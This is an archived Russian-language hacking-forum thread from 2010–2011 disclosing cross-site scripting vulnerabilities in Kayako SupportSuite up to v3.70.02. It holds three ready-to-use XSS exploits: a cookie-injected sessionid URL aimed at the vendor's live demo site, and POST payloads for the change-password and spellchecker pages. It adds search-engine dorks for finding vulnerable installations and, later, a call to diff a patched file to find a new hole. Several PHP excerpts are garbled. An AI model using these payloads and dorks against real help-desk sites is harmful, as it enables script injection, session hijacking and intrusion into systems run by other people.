RDot

RDot (https://rdot.org/forum/index.php)
-   Сценарии/CMF/СMS (https://rdot.org/forum/forumdisplay.php?f=15)
-   -   Kayako SupportSuite (https://rdot.org/forum/showthread.php?t=537)

asddas 15.08.2010 18:11

Kayako SupportSuite
 
Продукт: Kayako SupportSuite <= v3.70.02 Active XSS
Офф сайт: www.kayako.com
Зависимости: Нет
Уязвимые файлы: /modules/livesupport/visitor_htmlcode.php
Уязвимый кусок кода:

Файл /modules/livesupport/visitor_updatefootprint.php:
PHP код:

// Try to get the session
if (!$session->fetchSession($_GET["sessionid"], SESSION_VISITOR))
{
    
$isbanned checkBannedStatus(true);
    if (!
$isbanned)
    {
        
$session->insertSession(SESSION_VISITOR0$_GET["sessionid"], true);
        
$_GET["isfirsttime"] = 1;
    }



Файл functions.php:
PHP код:

   public function insertSession$sessiontype$typeid 0$customsessionid ""$noshutdown false )
    {
        global 
$dbCore;
        global 
$_SWIFT;
        global 
$cookie;
        if ( 
$customsessionid != "" )
        {
            
$sessionid $customsessionid;
        }


      . . . .


        if ( 
$sessiontype != SESSION_CHAT )
        {
            
$_SWIFT['sessionid'] = $sessionid;
            
$_SWIFT['session']['sessionid'] = $sessionid;
            
$_SWIFT['session']['ipaddress'] = $_SERVER['REMOTE_ADDR'];
            
$_SWIFT['session']['lastactivity'] = DATENOW;
            
$_SWIFT['session']['useragent'] = $_SERVER['HTTP_USER_AGENT'];
            
$_SWIFT['session']['isloggedin'] = "1";
            
$_SWIFT['session']['sessiontype'] = $sessiontype;
            
$_SWIFT['session']['typeid'] = $typeid;
            
$_SWIFT['session']['dateline'] = DATENOW;
            
$cookie->setSCookie"sessionid".$sessiontype$sessionid );
        }
        return 
$sessionid;
    } 

Файл /modules/livesupport/visitor_htmlcode.php:
PHP код:

$cookiesessionid = $cookie->getSCookie("sessionid".SESSION_VISITOR);
if (trim($cookiesessionid) == "")
{
    $sessionid = $session->insertSession(SESSION_VISITOR);
} else {
    $sessionid = $cookiesessionid;
}

. . . . . . 

var sessionid_<?php echo $_variablesuffix?> = "<?php echo $sessionid?>";


Exploit:
http://demo.kayako.com/supportsuite/visitor/index.php?_m=livesupport&_a=updatefootprint&sessio nid=%22;alert('hehehe');//&isfirsttime=1

sessionid запишется в кукисы и будет инжектится, при посещении Kayako SupportSuite, в:
PHP код:

<script language="javascript" src="http://localhost/kayako/visitor/index.php?_m=livesupport&_a=htmlcode&departmentid=0&fullname=&email="></script> 

[-] Атакуемый должен обновить страницу или очистить кэш, чтобы закешился новый JS.

Dork:
"powered by Kayako SupportSuite"
"Help Desk Software by Kayako SupportSuite"

SynQ 18.08.2010 17:05

Эх, вот бы инъекцию в нем или инклуд, но прошерстил весь код - явного ничего нет.
Есть правда инклуд в includes\functions_imc.php, но как я понял, этот файл вообще не используется.
Ждем 4ку, может там в связи с большим кол-вом нововведений найдется что-либо.

asddas 08.09.2010 10:17

Продукт: Kayako SupportSuite <= v3.70.02 Passive XSS
Офф сайт: www.kayako.com
Зависимости: Нет
Уязвимые файлы: /modules/core/client_changepassword.php
Уязвимый кусок кода:

Файл /modules/core/client_changepassword.php:
PHP код:

if (empty($_POST["step"]))
{
    
$template->cache(array('changepassword''header''footer''navbar'));
    
$template->assign("backurl""index.php");
    
$template->assign("sectiontitle"$_SWIFT["language"]["changepassword"]);
    
$template->assign("sectiondesc"$_SWIFT["language"]["changepdesc"]);
    
$template->assign("oldpassword"$_POST["oldpassword"]);
    
$template->assign("newpassword"$_POST["newpassword"]);
    
$template->assign("newpasswordc"$_POST["newpasswordc"]);
    
$template->assign("sid"$_SWIFT["session"]["sessionid"]);
    echo 
$template->displayTemplate("changepassword");


Exploit:
http://localhost/kayako5/index.php?_m=core&_a=changepassword
Post: oldpassword="><script>alert()</script><b&newpassword="><script>alert()</script><b&newpasswordc="><script>alert()</script><b

Dork:
"powered by Kayako SupportSuite"
"Help Desk Software by Kayako SupportSuite"

asddas 21.10.2010 03:18

Продукт: Kayako SupportSuite <= v3.70.02 Passive XSS
Офф сайт: www.kayako.com
Зависимости: Нет
Уязвимые файлы: /includes/Spellcheck/spellchecker.php
Уязвимый кусок кода:

Файл /includes/Spellcheck/spellchecker.php:
PHP код:

$textinputs = $_POST['textinputs']; # array

.    .    .    .

function print_textinputs_var() {
    global $textinputs;
    foreach( $textinputs as $key=>$val ) {
        # $val = str_replace( "'", "%27", $val );
        echo "textinputs[$key] = decodeURIComponent(\"" . $val . "\");\n";
    }
}

.    .    .    .

<?php

print_textinputs_var
();

print_checker_results();

?>

Exploit:
http://localhost/kayako5/includes/Spellcheck/spellchecker.php
Post: textinputs[</script><script>alert(/hehe/);</script><script ]=asddas

Dork:
"powered by Kayako SupportSuite"
"Help Desk Software by Kayako SupportSuite"

asddas 05.11.2010 06:00

http://www.exploit-db.com/exploits/14392/
http://www.packetstormsecurity.org/1...t37002-sql.txt
http://cve.mitre.org/cgi-bin/cvename...=CVE-2010-2911
http://osvdb.org/show/osvdb/66744

Нереал! Файл /modules/news/client_news.php:
PHP код:

else if ($eventaction == "viewnews") {

//. . . . . . . . . . 

    
$_news $dbCore->queryFetch("SELECT * FROM `"TABLE_PREFIX ."news` AS news LEFT JOIN `"TABLE_PREFIX ."newsdata` AS newsdata ON (news.newsid = newsdata.newsid) WHERE news.newsid = '"intval($_REQUEST["newsid"]) ."';");

//. . . . . . . . . . 


Похоже что сплоенты не чекают вовсе =\

tipsy 05.11.2010 18:52

Может просто silent update? Ты каяку для тестов где брал?

SynQ 05.11.2010 19:26

Нет, это сразу была чушь. На securityfocus даже висело, что "вендор отрицает наличие данной уязвимости".

asddas 06.11.2010 09:19

Код имеет такой вид, если не ошибаюсь, уже с версии 3.30.x. Последняя, паблик, слепая скуля была найдена GulfTech Research And Development, больше ничего нету. Даже xss-ки из этой темы 0дей пока :D
ps Насчёт лажовых сплоитов, особенно на inject0r.com, это не в первый раз замечаю, видимо это круто когда твой бред публикуют, надо будет как нибудь тоже запостить.

//upd

Ещё один fail
Kayako eSupport (functions.php) v3.70.02 SQL Injection Vulnerability
http://www.exploit-db.com/exploits/14404/

Незнаю причём здесь functions.php с downloads и _a, в движке, вообще в запрос к бд не попадает. Делаем выводы :)

SynQ 19.11.2010 10:39

Вышла 4-ая версия. Переименовали продукты:

SupportSuite is now Kayako Fusion.
LiveResponse is now Kayako Engage.
eSupport is now Kayako Resolve.

На сайте появился free trial.

SynQ 03.03.2011 13:44

Сегодня вышло обновление в четвертой ветке (4.01.179), закрывающее какую-то серьезную дырку в версиях 4.01.174, 4.01.175 and 4.01.176.
Адвайзори: http://wiki.kayako.com/display/DOCS/4.01.179
Файл, в котором бага: __swift/library/Controllers/class.Controller_api.php

У кого есть доступ к старой версии файла и новой, может поискать багу.


Часовой пояс GMT +3, время: 14:37.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot